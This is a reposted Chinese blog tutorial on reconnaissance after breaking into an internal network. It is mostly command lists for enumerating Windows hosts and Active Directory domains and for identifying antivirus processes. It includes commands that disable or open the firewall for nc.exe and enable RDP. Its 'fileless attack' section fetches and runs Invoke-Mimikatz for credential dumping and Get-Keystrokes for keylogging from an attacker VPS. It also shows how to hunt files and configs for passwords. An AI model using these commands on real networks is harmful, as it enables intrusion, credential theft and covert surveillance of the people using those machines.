內網滲透學習-資訊收集篇
轉載自https://mp.weixin.qq.com/s/kVa5UBobE-m0krdXSrhO6Q
介紹
當我們通過滲透進入內網環境後,面對的是一片未知區域。對當前機器角色判斷,對機器所處區域分析。本文分成兩個部分。第一部分是常見資訊收集思路、第二部分是一些小工具推薦
判斷當前機器區域
判斷機器所處於網路拓撲哪個區域,是在DMZ區、辦公區、核心區。區域界限是相對的
機器角色判斷
- 檔案伺服器:配合社工,生成payload捆綁到檔案伺服器公用檔案上,可批量上線主機
- DNS伺服器:埠53,可通過DNS伺服器獲取內網web系統資訊,或者探測域資訊
- DHCP伺服器:檢視內網多組網段資訊,更多的獲取拓補資訊
- 開發測試伺服器:獲取原始碼,新的資訊資產,多存在弱口令
- 代理伺服器:獲取伺服器賬號,拿到各種密碼
- web伺服器:可能需要提權
- 個人PC:檢視是否存在域環境
本機資訊收集
包括作業系統、許可權、內網IP段、殺軟、埠、服務、補丁情況、網路連線、共享、會話等。如果是域內主機,那麼作業系統、應用軟體、補丁、服務、殺軟一般都是批量安裝的。檔案共享/FTP連線記錄、瀏覽器訪問記錄、mstsc連線記錄、ssh連線記錄。
#查詢網路配置資訊。進行IP地址段資訊收集 ipconfig /all #查詢作業系統及軟體資訊 systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系統 systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本" #中文系統 # 檢視系統體系結構 echo %PROCESSOR_ARCHITECTURE% #PowerShell收集軟體的版本資訊 powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version" #檢視當前許可權 whoami && whoami /priv #查詢本機服務資訊 wmic service list brief #檢視安裝的軟體的版本、路徑等 wmic product get name, version #查詢程序資訊 wmic process list brief #檢視啟動程式資訊 wmic startup get command,caption #檢視計劃任務 at(win10之前) schtasks /query /fo LIST /v(win10) #檢視主機開機時間 net statistics workstation #檢視本機使用者列表 net user #獲取本地管理員資訊 net localgroup administrators ##檢視當前線上使用者 query user || qwinsta #列出或斷開本地計算機與所連線的客戶端的對話 net session #查詢埠列表 netstat -ano/-tnlp #檢視補丁列表 systeminfo # 檢視補丁的名稱、描述、ID、安裝時間等 wmic qfe get Caption,Description,HotFixID,InstalledOn #檢視本機共享列表和可訪問的域共享列表 net share (445埠) #查詢共享列表 wmic share get name,path,status #磁碟對映 net use k:\\192.168.1.10\c$ #檢視當前系統版本 wmic OS get Caption,CSDVersion,OSArchitecture,Version #查詢路由表 route print #可用介面的ARP快取表。區域網內arp -a,檢視是否有重複的mac地址判斷是否存在arp欺騙。伺服器繫結mac地址方式防止arp欺騙 arp -a #檢視服務 tasklist #檢視線上使用者 quser #檢視遠端連線資訊 cmdkey /l #檢視殺軟 WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List #檢視本地密碼策略 net accounts #檢視hosts檔案: linux:cat /etc/hosts windows:type c:\Windows\system32\drivers\etc\hosts #檢視dns快取 ipconfig /displaydns
我們可使用自動化指令碼WMIC(Windows Management Instrumentation Command-Line,Windows管理工具命令列)。在預設情況下,任何版本的Windows XP的低許可權使用者不能訪問WMIC,Windows 7以上版本的低許可權使用者允許訪問WMIC並執行相關操作。 執行後,會將資訊收集的結果寫入HTML文件。
專案地址:
http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
常見防毒軟體的程序
程序 | 軟體名稱 |
---|---|
360SD.EXE | 360防毒 |
360TRAY.EXE | 360實時保護 |
ZHUDONGFANGYU.EXE | 360主動防禦 |
KSAFETRAY.EXE | 金山衛士 |
SAFEDOGUPDATECENTER.EXE | 伺服器安全狗 |
MCAFEE MCSHIELD.EXE | 邁克菲防毒軟體 |
EGUI.EXE | NOD32 |
AVP.EXE | 卡巴斯基 |
AVGUARD.EXE | 小紅傘 |
BDAGENT.EXE | BITDEFENDER |
域環境資訊收集
判斷是否存在域。ipconfig /all 可檢視閘道器IP地址、DNS的IP地址、域名、本機是否和DNS伺服器處在同一網段等。通過反向解析查詢命令nslookup來解析域名的IP地址,用解析到的IP地址進行對比,判斷域控伺服器和DNS伺服器是否在同一臺機器上
#檢視當前許可權
whoami
#獲取域使用者SID
whoami /all
#查詢指定使用者的詳情資訊
net user xxx /domain
#檢視域內所有賬號
net user /domain
#對比檢視"域(域名)"和"登入伺服器(域控制器)"的資訊是否匹配
systeminfo
#對比檢視"工作站域DNS名稱(域名)"和"登入域()域控制器"的資訊是否相匹配
net config workstation
#檢視時間可以找到域控
net time /domain
#檢視域密碼策略
net accounts /domain
#檢視當前登入域
net config workstation
#檢視域使用者
net user /domain
# 登入本機的域管理員
net localgroup administrators /domain
#獲取域控ip
ping -a xxx.com
#查詢域
net view /domain
#查詢域內的所有計算機
net view /domain:HACHE
#查詢域的所有組(enterprise admins組許可權最大)
net group /domain
# SPN掃描
setspn -T domain -q */*
#檢視域管理員的使用者組
net group "domain admins" /domain
#查詢域系統管理員使用者組
net group "Enterprise admins" /domain
#檢視域控制器
net group "domain controllers" /domain
#檢視域控制器的機器名
nltest /DCLIST:hacke
#檢視dns快取
ipconfig /displaydns
#列域控c盤檔案(需要域管理員許可權)
dir \\WIN-75NA0949GFB.safe-duck.com\c$
#查詢所有域成員計算機列表
net group "domain computers" /domain
#獲取域信任資訊
nltest /domain_trusts
#獲取域內使用者的詳細資訊
wmic useraccount get /all
#檢視存在的使用者
dsquery user
#查詢所有計算機名稱
dsquery computer
#攻擊主機CMD掃描同網段存活ip
for /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL ="
#檢視域控制器
net group "domaincontrollers" /domain
查詢防火牆相關配置
關閉防火牆
Windows Server 2003及之前的版本:
netsh firewall set opmode disable
Windows Server 2003之後的版本:
netsh advfirewall set allprofiles state off
檢視防火牆配置
netsh firewall show config
修改防火牆配置
Windows Server 2003及之前的版本,允許指定程式全部連線:
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
Windows Server 2003之後的版本,情況如下。
允許指定程式進入:
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
允許指定程式退出:
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"
允許3389埠放行:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
自定義防火牆日誌的儲存位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
查詢代理配置情況
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
這裡我本地是沒開代理埠的:
查詢並開啟遠端連線服務
檢視遠端連線埠
Reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber
在命令列環境中執行登錄檔查詢語句,連線的埠為0xd3d,轉換後為3389:
在Windows Server 2003中開啟3389埠
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
在Windows Server 2008和Windows Server 2012中開啟3389埠
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
Ping探測主機存活(ICMP)
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
MSF資訊收集
MSF主機存活探測、埠掃描
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/netbios/nbname
auxiliary/scanner/portscan/tcp
auxiliary/scanner/portscan/tcp
auxiliary/scanner/portscan/ack
MSF建立會話拿到shell,即可直接執行DOS命令至今進行資訊收集。也可以進行直接執行run winenum可以一鍵收集記錄。
run winenum
powershell 資訊收集
預設powershell是不能執行指令碼的,獲取指令碼策略之後才能使用:
get-executionpolicy
更改執行策略必須以管理員身份執行才可以,否則報錯登錄檔安全問題
set-executionpolicy unrestricted
PowerSploit資訊收集
專案地址:https://github.com/PowerShellMafia/PowerSploit
建立會話後的meterpreter:
#載入模組
load powershell
#呼叫本地ps指令碼
powershell_import /usr/share/windows-resources/powersploit/Recon/xx.ps1
#命令執行
powershell_execute Get-NetDomain
#獲取當前的域名稱
Get-NetDomain
#返回所有域內成員的詳細資訊
Get-Netuser
#獲取所有的域內的控制器資訊
Get-NetDomainController
#獲取所有域內機器的名稱
Get-NetComputer
#獲取域內的所有的網路共享
Get-Netshare
#獲取指定服務的遠端連線資訊
Get-NetRDPSESSION
#獲取程序的詳細資訊
Get-NetProcess
# 獲取活動目錄的資訊
Get-ADOPJECT
#判斷使用者是否登陸計算機且使用者是否有管理員許可權
invoke-processhunter
powersploit無檔案攻擊
將下載的檔案放在vps上面。確保目標伺服器可以訪問:
#在目標機匯入指令碼:
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Recon/Invoke-Portscan.ps1")
#掃描網段、埠
invoke-portscan -hosts 192.168.1.1/24 -ports "21,22,80,139,80,445"
#invoke-mimikatz抓取hash
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
#導hash
Invoke-Mimikatz -dumpcreds
#get-keystrokes鍵盤記錄
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
#將鍵盤記錄儲存到123.txt裡面
Get-Keystrokes -logpath C:\Users\admin\123.txt
翻翻配置檔案
一個正常的Web應用肯定有對應的資料庫賬號密碼資訊,可以使用如下命令尋找包含密碼欄位的檔案:
findstr /s /m "password" *.*
常用應用的預設配置路徑:
Tomcat:
CATALINA_HOME/conf/tomcat-users.xml
Apache:
/etc/httpd/conf/httpd.conf
Nginx:
/etc/nginx/nginx.conf
Wdcp:
/www/wdlinux/wdcp/conf/mrpw.conf
Mysql:
mysql\data\mysql\user.MYD
還有一些Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列產品(Xshell,Xftp)的密碼檢視
專案: https://github.com/uknowsec/SharpDecryptPwd
END
資訊收集在內網滲透中的重要程度不言而喻。還有一些工具比如 psloggdon.exe、PVEFindADUser.exe、LaZagne、Impacket、Empire系列等等。祝師傅輕鬆拿到域控
推薦作者公眾號: